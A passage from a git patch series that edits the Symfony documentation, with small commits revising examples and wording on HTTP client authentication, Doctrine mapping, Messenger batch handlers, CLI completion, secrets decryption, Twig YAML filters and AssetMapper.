+    Basic Authentication can be set by authority in the URL, like
+    http://user:pass@example.com/.
+
 .. note::
 
     The NTLM authentication mechanism requires using the cURL transport.

From ffe0c155516d1f9fb79a7dc00605fe552bd87396 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 19 Jul 2024 12:28:45 +0200
Subject: [PATCH 4877/5766] Minor tweak

---
 http_client.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/http_client.rst b/http_client.rst
index 709612b9101..067021637a0 100644
--- a/http_client.rst
+++ b/http_client.rst
@@ -489,8 +489,8 @@ each request (which overrides any global authentication):
 
 .. note::
 
-    Basic Authentication can be set by authority in the URL, like
-    http://user:pass@example.com/.
+    Basic Authentication can also be set by including the credentials in the URL,
+    such as: ``http://the-username:the-password@example.com``
 
 .. note::
 

From 16c9fdb2b0ea5b647cdb1f7904d85b67f983beef Mon Sep 17 00:00:00 2001
From: Christian Flothmann <christian.flothmann@qossmic.com>
Date: Fri, 19 Jul 2024 12:47:06 +0200
Subject: [PATCH 4878/5766] use the ref role for internal links

---
 reference/events.rst | 6 ++----
 1 file changed, 2 insertions(+), 4 deletions(-)

diff --git a/reference/events.rst b/reference/events.rst
index 411e5e327f5..57806ee8f8d 100644
--- a/reference/events.rst
+++ b/reference/events.rst
@@ -56,8 +56,8 @@ their priorities:
 
 This event is dispatched after the controller has been resolved but before executing
 it. It's useful to initialize things later needed by the
-controller, such as `value resolvers`_, and even to change the controller
-entirely::
+controller, such as :ref:`value resolvers <managing-value-resolvers>`, and
+even to change the controller entirely::
 
     use Symfony\Component\HttpKernel\Event\ControllerEvent;
 
@@ -296,5 +296,3 @@ their priorities:
 .. code-block:: terminal
 
     $ php bin/console debug:event-dispatcher kernel.exception
-
-.. _`value resolvers`: https://symfony.com/doc/current/controller/value_resolver.html#managing-value-resolvers

From a7d15402af186e82d6eb6f03c2be84e31118ba1e Mon Sep 17 00:00:00 2001
From: Cosmin SANDU <contact@cosminsandu.ro>
Date: Fri, 19 Jul 2024 14:05:42 +0300
Subject: [PATCH 4879/5766] Update reference/configuration/doctrine.rst

Co-authored-by: Christian Flothmann <christian.flothmann@gmail.com>
---
 reference/configuration/doctrine.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/reference/configuration/doctrine.rst b/reference/configuration/doctrine.rst
index 5d717363301..de176822c1f 100644
--- a/reference/configuration/doctrine.rst
+++ b/reference/configuration/doctrine.rst
@@ -272,7 +272,7 @@ One of ``annotation`` (for PHP annotations; it's the default value),
 ``attribute`` (for PHP attributes), ``xml``, ``php`` or
 ``staticphp``. This specifies which type of metadata type your mapping uses.
 
-.. deprecated:: ORM 3.0
+.. deprecated:: 3.0
 
     The ``yml`` mapping configuration is deprecated and will be removed in doctrine/orm 3.0.
 

From d09a5ba5aa8e1461de0ff2b6c11002b67b01f057 Mon Sep 17 00:00:00 2001
From: Cosmin Sandu <cosmin@foodomarket.com>
Date: Fri, 19 Jul 2024 14:25:34 +0300
Subject: [PATCH 4880/5766] issues/20050 Remove Doctrine mappings YML from
 documentation try to fix CI

---
 .doctor-rst.yaml                     | 1 +
 reference/configuration/doctrine.rst | 2 +-
 2 files changed, 2 insertions(+), 1 deletion(-)

diff --git a/.doctor-rst.yaml b/.doctor-rst.yaml
index 3602a9787c0..93d90a1df9f 100644
--- a/.doctor-rst.yaml
+++ b/.doctor-rst.yaml
@@ -109,5 +109,6 @@ whitelist:
         - '.. versionadded:: 3.6' # MonologBundle
         - '.. versionadded:: 3.8' # MonologBundle
         - '.. versionadded:: 3.5' # Monolog
+        - '.. versionadded:: 3.0' # Doctrine ORM
         - '.. _`a feature to test applications using Mercure`: https://github.com/symfony/panther#creating-isolated-browsers-to-test-apps-using-mercure-or-websocket'
         - '..  End to End Tests (E2E)'
diff --git a/reference/configuration/doctrine.rst b/reference/configuration/doctrine.rst
index de176822c1f..79bd5458d67 100644
--- a/reference/configuration/doctrine.rst
+++ b/reference/configuration/doctrine.rst
@@ -272,7 +272,7 @@ One of ``annotation`` (for PHP annotations; it's the default value),
 ``attribute`` (for PHP attributes), ``xml``, ``php`` or
 ``staticphp``. This specifies which type of metadata type your mapping uses.
 
-.. deprecated:: 3.0
+.. versionadded:: 3.0
 
     The ``yml`` mapping configuration is deprecated and will be removed in doctrine/orm 3.0.
 

From 08f43e57bf101e162f64692b390fcf4f3ea07781 Mon Sep 17 00:00:00 2001
From: Christian Flothmann <christian.flothmann@qossmic.com>
Date: Fri, 19 Jul 2024 13:28:01 +0200
Subject: [PATCH 4881/5766] use a custom batch size

---
 messenger.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/messenger.rst b/messenger.rst
index 03e09b8260a..d49180a358e 100644
--- a/messenger.rst
+++ b/messenger.rst
@@ -2644,7 +2644,7 @@ provided in order to ease the declaration of these special handlers::
         // of the trait to define your own batch size...
         private function shouldFlush(): bool
         {
-            return $this->getBatchSize() <= \count($this->jobs);
+            return 100 <= \count($this->jobs);
         }
 
         // ... or redefine the `getBatchSize()` method if the default

From a51bc508aa3c34cef799222119e1a29f76696cfd Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 19 Jul 2024 14:59:49 +0200
Subject: [PATCH 4882/5766] Remove the shouldFlush() method

---
 messenger.rst | 11 ++---------
 1 file changed, 2 insertions(+), 9 deletions(-)

diff --git a/messenger.rst b/messenger.rst
index d49180a358e..7e26cb9b4da 100644
--- a/messenger.rst
+++ b/messenger.rst
@@ -2640,15 +2640,8 @@ provided in order to ease the declaration of these special handlers::
             }
         }
 
-        // Optionally, you can either redefine the `shouldFlush()` method
-        // of the trait to define your own batch size...
-        private function shouldFlush(): bool
-        {
-            return 100 <= \count($this->jobs);
-        }
-
-        // ... or redefine the `getBatchSize()` method if the default
-        // flush behavior suits your needs
+        // Optionally, you can override some of the trait methods, such as the
+        // `getBatchSize()` method, to specify your own batch size...
         private function getBatchSize(): int
         {
             return 100;

From 52f1f00732decffa92747d2c611366bd886509fc Mon Sep 17 00:00:00 2001
From: Tugdual Saunier <tugdual.saunier@gmail.com>
Date: Sat, 20 Jul 2024 17:07:55 +0200
Subject: [PATCH 4883/5766] Document Symfony CLI autocompletion

---
 console.rst              |  9 +++++++++
 setup/symfony_server.rst | 11 +++++++++++
 2 files changed, 20 insertions(+)

diff --git a/console.rst b/console.rst
index e414ed15ced..65564e578de 100644
--- a/console.rst
+++ b/console.rst
@@ -103,6 +103,15 @@ options by pressing the Tab key.
 
         $ php vendor/bin/phpstan completion bash | sudo tee /etc/bash_completion.d/phpstan
 
+.. tip::
+
+    If you are using the :doc:`Symfony local web server
+    </setup/symfony_server>`, it is recommended to use the builtin completion
+    script that will ensure the right PHP version and configuration is used when
+    running the Console Completion. Run ``symfony completion --help`` for the
+    installation instructions for your shell. The Symfony CLI will provide
+    completion for the ``console`` and ``composer`` commands.
+
 Creating a Command
 ------------------
 
diff --git a/setup/symfony_server.rst b/setup/symfony_server.rst
index 5fa3e430b1c..e241279fc95 100644
--- a/setup/symfony_server.rst
+++ b/setup/symfony_server.rst
@@ -17,6 +17,17 @@ Installation
 The Symfony server is part of the ``symfony`` binary created when you
 `install Symfony`_ and has support for Linux, macOS and Windows.
 
+.. tip::
+
+    The Symfony CLI supports auto completion for Bash, Zsh or Fish shells. You
+    have to install the completion script *once*. Run ``symfony completion
+    --help`` for the installation instructions for your shell. After installing
+    and restarting your terminal, you're all set to use completion (by default,
+    by pressing the Tab key).
+
+    The Symfony CLI will also provide completion for the ``composer`` command
+    and for the ``console`` command if it detects a Symfony project.
+
 .. note::
 
    You can view and contribute to the Symfony CLI source in the

From c13b4f299d334612208fd247188f2b946cb6846e Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 22 Jul 2024 08:39:11 +0200
Subject: [PATCH 4884/5766] Minor tweaks

---
 console.rst              | 4 ++--
 setup/symfony_server.rst | 2 +-
 2 files changed, 3 insertions(+), 3 deletions(-)

diff --git a/console.rst b/console.rst
index 65564e578de..60d53d0c056 100644
--- a/console.rst
+++ b/console.rst
@@ -106,8 +106,8 @@ options by pressing the Tab key.
 .. tip::
 
     If you are using the :doc:`Symfony local web server
-    </setup/symfony_server>`, it is recommended to use the builtin completion
-    script that will ensure the right PHP version and configuration is used when
+    </setup/symfony_server>`, it is recommended to use the built-in completion
+    script that will ensure the right PHP version and configuration are used when
     running the Console Completion. Run ``symfony completion --help`` for the
     installation instructions for your shell. The Symfony CLI will provide
     completion for the ``console`` and ``composer`` commands.
diff --git a/setup/symfony_server.rst b/setup/symfony_server.rst
index e241279fc95..f8b7c6e35c4 100644
--- a/setup/symfony_server.rst
+++ b/setup/symfony_server.rst
@@ -19,7 +19,7 @@ The Symfony server is part of the ``symfony`` binary created when you
 
 .. tip::
 
-    The Symfony CLI supports auto completion for Bash, Zsh or Fish shells. You
+    The Symfony CLI supports auto completion for Bash, Zsh, or Fish shells. You
     have to install the completion script *once*. Run ``symfony completion
     --help`` for the installation instructions for your shell. After installing
     and restarting your terminal, you're all set to use completion (by default,

From fa572ee1d7fd2cea6717ab3a52a93d30d536c04b Mon Sep 17 00:00:00 2001
From: Petrisor Ciprian Daniel <dciprian.petrisor@gmail.com>
Date: Fri, 19 Jul 2024 23:31:27 +0300
Subject: [PATCH 4885/5766] [Config] Secrets decrypt exit option

---
 configuration/secrets.rst | 11 ++++++++++-
 1 file changed, 10 insertions(+), 1 deletion(-)

diff --git a/configuration/secrets.rst b/configuration/secrets.rst
index f717456a22c..b16c36643aa 100644
--- a/configuration/secrets.rst
+++ b/configuration/secrets.rst
@@ -271,11 +271,20 @@ manually store this file somewhere and deploy it. There are 2 ways to do that:
 
    .. code-block:: terminal
 
-       $ APP_RUNTIME_ENV=prod php bin/console secrets:decrypt-to-local --force
+       $ APP_RUNTIME_ENV=prod php bin/console secrets:decrypt-to-local --force --exit
 
    This will write all the decrypted secrets into the ``.env.prod.local`` file.
    After doing this, the decryption key does *not* need to remain on the server(s).
 
+   Note the usage of the ``--exit`` option: this forces all secrets to be successfully
+   decrypted, otherwise a non-zero exit code is returned.
+
+   If you wish to continue regardless of errors occurring during decryption, you may omit this option.
+
+   .. versionadded:: 7.2
+
+    The ``--exit`` option was introduced in Symfony 7.2.
+
 Rotating Secrets
 ----------------
 

From 97103298ebabb6f3fb5c015450e1d8f893149bca Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 22 Jul 2024 09:03:49 +0200
Subject: [PATCH 4886/5766] Tweaks

---
 configuration/secrets.rst | 10 ++++++----
 1 file changed, 6 insertions(+), 4 deletions(-)

diff --git a/configuration/secrets.rst b/configuration/secrets.rst
index b16c36643aa..734873b255c 100644
--- a/configuration/secrets.rst
+++ b/configuration/secrets.rst
@@ -276,14 +276,16 @@ manually store this file somewhere and deploy it. There are 2 ways to do that:
    This will write all the decrypted secrets into the ``.env.prod.local`` file.
    After doing this, the decryption key does *not* need to remain on the server(s).
 
-   Note the usage of the ``--exit`` option: this forces all secrets to be successfully
-   decrypted, otherwise a non-zero exit code is returned.
+   Note the usage of the ``--exit`` option: this ensures that all secrets are
+   successfully decrypted. If any error occurs during the decryption process,
+   the command will return a non-zero exit code, indicating a failure.
 
-   If you wish to continue regardless of errors occurring during decryption, you may omit this option.
+   If you wish to continue regardless of errors occurring during decryption,
+   you may omit this option.
 
    .. versionadded:: 7.2
 
-    The ``--exit`` option was introduced in Symfony 7.2.
+       The ``--exit`` option was introduced in Symfony 7.2.
 
 Rotating Secrets
 ----------------

From 8e1d67b18758832865b51fd28066018cfc34b9ac Mon Sep 17 00:00:00 2001
From: Christian Flothmann <christian.flothmann@qossmic.com>
Date: Mon, 22 Jul 2024 15:16:47 +0200
Subject: [PATCH 4887/5766] drop the --exit option

---
 configuration/secrets.rst | 13 +------------
 1 file changed, 1 insertion(+), 12 deletions(-)

diff --git a/configuration/secrets.rst b/configuration/secrets.rst
index 734873b255c..f717456a22c 100644
--- a/configuration/secrets.rst
+++ b/configuration/secrets.rst
@@ -271,22 +271,11 @@ manually store this file somewhere and deploy it. There are 2 ways to do that:
 
    .. code-block:: terminal
 
-       $ APP_RUNTIME_ENV=prod php bin/console secrets:decrypt-to-local --force --exit
+       $ APP_RUNTIME_ENV=prod php bin/console secrets:decrypt-to-local --force
 
    This will write all the decrypted secrets into the ``.env.prod.local`` file.
    After doing this, the decryption key does *not* need to remain on the server(s).
 
-   Note the usage of the ``--exit`` option: this ensures that all secrets are
-   successfully decrypted. If any error occurs during the decryption process,
-   the command will return a non-zero exit code, indicating a failure.
-
-   If you wish to continue regardless of errors occurring during decryption,
-   you may omit this option.
-
-   .. versionadded:: 7.2
-
-       The ``--exit`` option was introduced in Symfony 7.2.
-
 Rotating Secrets
 ----------------
 

From 7a0e90898e46246d9c37027997ae4a155d67cb57 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 22 Jul 2024 17:43:27 +0200
Subject: [PATCH 4888/5766] Minor tweak

---
 reference/configuration/doctrine.rst | 3 +--
 1 file changed, 1 insertion(+), 2 deletions(-)

diff --git a/reference/configuration/doctrine.rst b/reference/configuration/doctrine.rst
index 79bd5458d67..5ee35e63288 100644
--- a/reference/configuration/doctrine.rst
+++ b/reference/configuration/doctrine.rst
@@ -274,8 +274,7 @@ One of ``annotation`` (for PHP annotations; it's the default value),
 
 .. versionadded:: 3.0
 
-    The ``yml`` mapping configuration is deprecated and will be removed in doctrine/orm 3.0.
-
+    The ``yml`` mapping configuration is deprecated and was removed in Doctrine ORM 3.0.
 
 See `Doctrine Metadata Drivers`_ for more information about this option.
 

From ce65dc602a289a4443daf42bcb4bd4ad199e1b35 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 23 Jul 2024 10:40:43 +0200
Subject: [PATCH 4889/5766] Minor tweak

---
 testing.rst | 3 ++-
 1 file changed, 2 insertions(+), 1 deletion(-)

diff --git a/testing.rst b/testing.rst
index b1692c956ea..5116d53a04c 100644
--- a/testing.rst
+++ b/testing.rst
@@ -97,7 +97,8 @@ You can run tests using the ``bin/phpunit`` command:
 .. tip::
 
     In large test suites, it can make sense to create subdirectories for
-    each type of tests (e.g. ``tests/Unit/``, ``tests/Integration/`` and ``tests/Application/``).
+    each type of test (``tests/Unit/``, ``tests/Integration/``,
+    ``tests/Application/``, etc.).
 
 .. _integration-tests:
 

From 27a06be851c41d4a67c78c1fa63c47892823d620 Mon Sep 17 00:00:00 2001
From: Christian Flothmann <christian.flothmann@qossmic.com>
Date: Tue, 23 Jul 2024 11:06:19 +0200
Subject: [PATCH 4890/5766] drop type-hints for properties where the Type
 constraint is used

---
 reference/constraints/Type.rst | 8 ++++----
 1 file changed, 4 insertions(+), 4 deletions(-)

diff --git a/reference/constraints/Type.rst b/reference/constraints/Type.rst
index f10d1423997..732247e0b5a 100644
--- a/reference/constraints/Type.rst
+++ b/reference/constraints/Type.rst
@@ -33,19 +33,19 @@ This will check if ``emailAddress`` is an instance of ``Symfony\Component\Mime\A
         class Author
         {
             #[Assert\Type(Address::class)]
-            protected Address $emailAddress;
+            protected $emailAddress;
 
             #[Assert\Type('string')]
-            protected string $firstName;
+            protected $firstName;
 
             #[Assert\Type(
                 type: 'integer',
                 message: 'The value {{ value }} is not a valid {{ type }}.',
             )]
-            protected int $age;
+            protected $age;
 
             #[Assert\Type(type: ['alpha', 'digit'])]
-            protected string $accessCode;
+            protected $accessCode;
         }
 
     .. code-block:: yaml

From d7071c7ed801a36963d0e4535a16532f778b7726 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 23 Jul 2024 16:19:09 +0200
Subject: [PATCH 4891/5766] Minor tweak

---
 reference/constraints/Type.rst | 6 +++++-
 1 file changed, 5 insertions(+), 1 deletion(-)

diff --git a/reference/constraints/Type.rst b/reference/constraints/Type.rst
index 732247e0b5a..b0a3dad4552 100644
--- a/reference/constraints/Type.rst
+++ b/reference/constraints/Type.rst
@@ -14,7 +14,11 @@ Validator   :class:`Symfony\\Component\\Validator\\Constraints\\TypeValidator`
 Basic Usage
 -----------
 
-This will check if ``emailAddress`` is an instance of ``Symfony\Component\Mime\Address``,
+This constraint should be applied to untyped variables/properties. If a property
+or variable is typed and you pass a value of a different type, PHP will throw an
+exception before this constraint is checked.
+
+The following example checks if ``emailAddress`` is an instance of ``Symfony\Component\Mime\Address``,
 ``firstName`` is of type ``string`` (using :phpfunction:`is_string` PHP function),
 ``age`` is an ``integer`` (using :phpfunction:`is_int` PHP function) and
 ``accessCode`` contains either only letters or only digits (using

From 346ea4bc6bf67bbaa6c0702edfefc1c83a0bfb53 Mon Sep 17 00:00:00 2001
From: sarah-eit <s.fleret@itefficience.com>
Date: Thu, 7 Mar 2024 14:24:36 +0100
Subject: [PATCH 4892/5766] [Twig] [twig reference] add examples in yaml part

---
 reference/twig_reference.rst | 73 +++++++++++++++++++++++++++++++++++-
 1 file changed, 71 insertions(+), 2 deletions(-)

diff --git a/reference/twig_reference.rst b/reference/twig_reference.rst
index 97ee6a57185..fdb9e27ccf2 100644
--- a/reference/twig_reference.rst
+++ b/reference/twig_reference.rst
@@ -483,8 +483,43 @@ yaml_encode
 ``dumpObjects`` *(optional)*
     **type**: ``boolean`` **default**: ``false``
 
-Transforms the input into YAML syntax. See :ref:`components-yaml-dump` for
-more information.
+Transforms the input into YAML syntax.
+
+The ``inline`` argument is the level where you switch to inline YAML:
+
+.. code-block:: twig
+
+    {% set array = {
+        'a': {
+            'c': 'e'
+        },
+        'b': {
+            'd': 'f'
+        }
+    } %}
+
+    {{ array|yaml_encode(inline = 0) }}
+    {# output: { a: { c: e }, b: { d: f } } #}
+
+    {{ array|yaml_encode(inline = 1) }}
+    {# output: a: { c: e } b: { d: f } #}
+
+The ``dumpObjects`` argument is used to dump objects::
+
+    // ...
+    $object = new \stdClass();
+    $object->foo = 'bar';
+    // ...
+
+.. code-block:: twig
+
+    {{ object|yaml_encode(dumpObjects = false) }}
+    {# output: null #}
+
+    {{ object|yaml_encode(dumpObjects = true) }}
+    {# output: !php/object 'O:8:"stdClass":1:{s:5:"foo";s:7:"bar";}' #}
+
+See :ref:`components-yaml-dump` for more information.
 
 yaml_dump
 ~~~~~~~~~
@@ -503,6 +538,40 @@ yaml_dump
 Does the same as `yaml_encode() <yaml_encode>`_, but includes the type in
 the output.
 
+The ``inline`` argument is the level where you switch to inline YAML:
+
+.. code-block:: twig
+
+    {% set array = {
+        'a': {
+            'c': 'e'
+        },
+        'b': {
+            'd': 'f'
+        }
+    } %}
+
+    {{ array|yaml_dump(inline = 0) }}
+    {# output: %array% { a: { c: e }, b: { d: f } } #}
+
+    {{ array|yaml_dump(inline = 1) }}
+    {# output: %array% a: { c: e } b: { d: f } #}
+
+The ``dumpObjects`` argument is used to dump objects::
+
+    // ...
+    $object = new \stdClass();
+    $object->foo = 'bar';
+    // ...
+
+.. code-block:: twig
+
+    {{ object|yaml_dump(dumpObjects = false) }}
+    {# output: %object% null #}
+
+    {{ object|yaml_dump(dumpObjects = true) }}
+    {# output: %object% !php/object 'O:8:"stdClass":1:{s:3:"foo";s:3:"bar";}' #}
+
 abbr_class
 ~~~~~~~~~~
 

From 56d08154cf856b47fd6611996d34e01d0b62e6a0 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 23 Jul 2024 17:16:21 +0200
Subject: [PATCH 4893/5766] Minor tweaks

---
 reference/twig_reference.rst | 22 ++++++++++++++--------
 1 file changed, 14 insertions(+), 8 deletions(-)

diff --git a/reference/twig_reference.rst b/reference/twig_reference.rst
index fdb9e27ccf2..4a51940b96e 100644
--- a/reference/twig_reference.rst
+++ b/reference/twig_reference.rst
@@ -485,7 +485,7 @@ yaml_encode
 
 Transforms the input into YAML syntax.
 
-The ``inline`` argument is the level where you switch to inline YAML:
+The ``inline`` argument is the level where the generated output switches to inline YAML:
 
 .. code-block:: twig
 
@@ -499,12 +499,15 @@ The ``inline`` argument is the level where you switch to inline YAML:
     } %}
 
     {{ array|yaml_encode(inline = 0) }}
-    {# output: { a: { c: e }, b: { d: f } } #}
+    {# output:
+       { a: { c: e }, b: { d: f } } #}
 
     {{ array|yaml_encode(inline = 1) }}
-    {# output: a: { c: e } b: { d: f } #}
+    {# output:
+       a: { c: e }
+       b: { d: f } #}
 
-The ``dumpObjects`` argument is used to dump objects::
+The ``dumpObjects`` argument enables the dumping of PHP objects::
 
     // ...
     $object = new \stdClass();
@@ -538,7 +541,7 @@ yaml_dump
 Does the same as `yaml_encode() <yaml_encode>`_, but includes the type in
 the output.
 
-The ``inline`` argument is the level where you switch to inline YAML:
+The ``inline`` argument is the level where the generated output switches to inline YAML:
 
 .. code-block:: twig
 
@@ -552,12 +555,15 @@ The ``inline`` argument is the level where you switch to inline YAML:
     } %}
 
     {{ array|yaml_dump(inline = 0) }}
-    {# output: %array% { a: { c: e }, b: { d: f } } #}
+    {# output:
+       %array% { a: { c: e }, b: { d: f } } #}
 
     {{ array|yaml_dump(inline = 1) }}
-    {# output: %array% a: { c: e } b: { d: f } #}
+    {# output:
+       %array% a: { c: e }
+       b: { d: f } #}
 
-The ``dumpObjects`` argument is used to dump objects::
+The ``dumpObjects`` argument enables the dumping of PHP objects::
 
     // ...
     $object = new \stdClass();

From 97bfcfc06cc4bf6043762575ac2db7484eb3fdad Mon Sep 17 00:00:00 2001
From: faissaloux <fwahabali@gmail.com>
Date: Sat, 25 Nov 2023 00:30:54 +0100
Subject: [PATCH 4894/5766] Update `Create Framework / Unit Testing` page

---
 create_framework/unit_testing.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/create_framework/unit_testing.rst b/create_framework/unit_testing.rst
index 916711de0ce..e39c96b9035 100644
--- a/create_framework/unit_testing.rst
+++ b/create_framework/unit_testing.rst
@@ -12,7 +12,7 @@ using `PHPUnit`_. At first, install PHPUnit as a development dependency:
 
 .. code-block:: terminal
 
-    $ composer require --dev phpunit/phpunit
+    $ composer require --dev phpunit/phpunit:^9.6
 
 Then, create a PHPUnit configuration file in ``example.com/phpunit.xml.dist``:
 
@@ -21,7 +21,7 @@ Then, create a PHPUnit configuration file in ``example.com/phpunit.xml.dist``:
     <?xml version="1.0" encoding="UTF-8"?>
     <phpunit
         xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
-        xsi:noNamespaceSchemaLocation="https://schema.phpunit.de/9.3/phpunit.xsd"
+        xsi:noNamespaceSchemaLocation="https://schema.phpunit.de/9.6/phpunit.xsd"
         backupGlobals="false"
         colors="true"
         bootstrap="vendor/autoload.php"

From 6bffd6016e801445a468dfc538fd87aa1826e79e Mon Sep 17 00:00:00 2001
From: Thomas Landauer <thomas@landauer.at>
Date: Thu, 29 Feb 2024 12:25:00 +0100
Subject: [PATCH 4895/5766] [AssetMapper] Adding info about deleting compiled
 assets

---
 frontend/asset_mapper.rst | 7 ++++++-
 1 file changed, 6 insertions(+), 1 deletion(-)

diff --git a/frontend/asset_mapper.rst b/frontend/asset_mapper.rst
index c8febf65757..8f7ac2c869a 100644
--- a/frontend/asset_mapper.rst
+++ b/frontend/asset_mapper.rst
@@ -81,7 +81,7 @@ Serving Assets in dev vs prod
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
 In the ``dev`` environment, the URL ``/assets/images/duck-3c16d9220694c0e56d8648f25e6035e9.png``
-is handled and returned by your Symfony app.
+is handled and returned by your Symfony app - but only if ``public/assets/`` is empty (see below).
 
 For the ``prod`` environment, before deploy, you should run:
 
@@ -93,6 +93,11 @@ This will physically copy all the files from your mapped directories to
 ``public/assets/`` so that they're served directly by your web server.
 See :ref:`Deployment <asset-mapper-deployment>` for more details.
 
+.. caution::
+
+    If you compiled your assets on your development machine, you need to delete them again,
+    in order to make Symfony serve the current versions from ``assets/`` again.
+
 .. tip::
 
     If you need to copy the compiled assets to a different location (e.g. upload

From b55c5cb9a42394e7aa0d371fac42a36c844a996a Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Wed, 24 Jul 2024 11:26:20 +0200
Subject: [PATCH 4896/5766] Reword

---
 frontend/asset_mapper.rst | 8 +++++---
 1 file changed, 5 insertions(+), 3 deletions(-)

diff --git a/frontend/asset_mapper.rst b/frontend/asset_mapper.rst
index 90e7d2b6033..185fca4f913 100644
--- a/frontend/asset_mapper.rst
+++ b/frontend/asset_mapper.rst
@@ -81,7 +81,7 @@ Serving Assets in dev vs prod
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
 In the ``dev`` environment, the URL ``/assets/images/duck-3c16d9220694c0e56d8648f25e6035e9.png``
-is handled and returned by your Symfony app - but only if ``public/assets/`` is empty (see below).
+is handled and returned by your Symfony app.
 
 For the ``prod`` environment, before deploy, you should run:
 
@@ -95,8 +95,10 @@ See :ref:`Deployment <asset-mapper-deployment>` for more details.
 
 .. caution::
 
-    If you compiled your assets on your development machine, you need to delete them again,
-    in order to make Symfony serve the current versions from ``assets/`` again.
+    If you run the ``asset-map:compile`` command on your development machine,
+    you won't see any changes made to your assets when reloading the page.
+    To resolve this, delete the contents of the ``public/assets/`` directory.
+    This will allow your Symfony application to serve those assets dynamically again.
 
 .. tip::
 

From f93bdbe25a58e08958a8504fd57987cb6206cfc8 Mon Sep 17 00:00:00 2001
From: aurac <aurelienadam96@gmail.com>
Date: Wed, 24 Jul 2024 11:27:55 +0200
Subject: [PATCH 4897/5766] Update csrf.rst

Fixed a typo
---
 security/csrf.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/security/csrf.rst b/security/csrf.rst
index 61337e71be4..48e1a09ec2a 100644
--- a/security/csrf.rst
+++ b/security/csrf.rst
@@ -108,7 +108,7 @@ CSRF Protection in Symfony Forms
 
 :doc:`Symfony Forms </forms>` include CSRF tokens by default and Symfony also
 checks them automatically for you. So, when using Symfony Forms, you don't have
-o do anything to be protected against CSRF attacks.
+to do anything to be protected against CSRF attacks.
 
 .. _form-csrf-customization:
 

From 7bb3860a2eb3aeab02a9d769430a07c53bdb9844 Mon Sep 17 00:00:00 2001
From: Vincent Amstoutz <vincent.amstoutz@outlook.com>
Date: Sat, 24 Feb 2024 16:40:36 +0100
Subject: [PATCH 4898/5766] Fix debug config reference dump_destination

---
 reference/configuration/debug.rst | 11 ++++++++---
 1 file changed, 8 insertions(+), 3 deletions(-)

diff --git a/reference/configuration/debug.rst b/reference/configuration/debug.rst
index 482396d2ae2..ddbf9365046 100644
--- a/reference/configuration/debug.rst
+++ b/reference/configuration/debug.rst
@@ -95,8 +95,13 @@ Typically, you would set this to ``php://stderr``:
     .. code-block:: php
 
         // config/packages/debug.php
-        $container->loadFromExtension('debug', [
-            'dump_destination' => 'php://stderr',
-        ]);
+        use Symfony\Component\DependencyInjection\Loader\Configurator\ContainerConfigurator;
+
+        return static function (ContainerConfigurator $container): void {
+            $container->extension('debug', [
+                'dump_destination' => 'tcp://%env(VAR_DUMPER_SERVER)%',
+            ]);
+        };
+
 
 Configure it to ``"tcp://%env(VAR_DUMPER_SERVER)%"`` in order to use the :ref:`ServerDumper feature <var-dumper-dump-server>`.

From 17102f9274349edb3cb9c662edd9d5888b92e5ce Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Thu, 25 Jul 2024 09:16:06 +0200
Subject: [PATCH 4899/5766] Fix a PHP config example

---
 reference/configuration/debug.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/reference/configuration/debug.rst b/reference/configuration/debug.rst
index ddbf9365046..95976cad580 100644
--- a/reference/configuration/debug.rst
+++ b/reference/configuration/debug.rst
@@ -95,7 +95,7 @@ Typically, you would set this to ``php://stderr``:
     .. code-block:: php
 
         // config/packages/debug.php
-        use Symfony\Component\DependencyInjection\Loader\Configurator\ContainerConfigurator;
+        namespace Symfony\Component\DependencyInjection\Loader\Configurator;
 
         return static function (ContainerConfigurator $container): void {
             $container->extension('debug', [

From f5f16af36ded58edf37af2be3fe6f078d7c6b64b Mon Sep 17 00:00:00 2001
From: Christian Flothmann <christian.flothmann@qossmic.com>
Date: Thu, 25 Jul 2024 09:54:38 +0200
Subject: [PATCH 4900/5766] add the $token argument to checkPostAuth()

---
 security/user_checkers.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/security/user_checkers.rst b/security/user_checkers.rst
index d62cc0bea32..1e1dcaf3e55 100644
--- a/security/user_checkers.rst
+++ b/security/user_checkers.rst
@@ -40,7 +40,7 @@ displayed to the user::
             }
         }
 
-        public function checkPostAuth(UserInterface $user): void
+        public function checkPostAuth(UserInterface $user, TokenInterface $token): void
         {
             if (!$user instanceof AppUser) {
                 return;

From aec2ec5ef61cca979c9d830a6fd22d6a64446ab4 Mon Sep 17 00:00:00 2001
From: Marcin Nowak <kontakt@nowak-marcin.pl>
Date: Fri, 26 Jul 2024 14:12:16 +0200
Subject: [PATCH 4901/5766] Added information about clock parameter in
 ArrayAdapter

---
 components/cache/adapters/array_cache_adapter.rst | 7 ++++++-
 1 file changed, 6 insertions(+), 1 deletion(-)

diff --git a/components/cache/adapters/array_cache_adapter.rst b/components/cache/adapters/array_cache_adapter.rst
index f903771e468..a6a72514361 100644
--- a/components/cache/adapters/array_cache_adapter.rst
+++ b/components/cache/adapters/array_cache_adapter.rst
@@ -24,5 +24,10 @@ method::
 
         // the maximum number of items that can be stored in the cache. When the limit
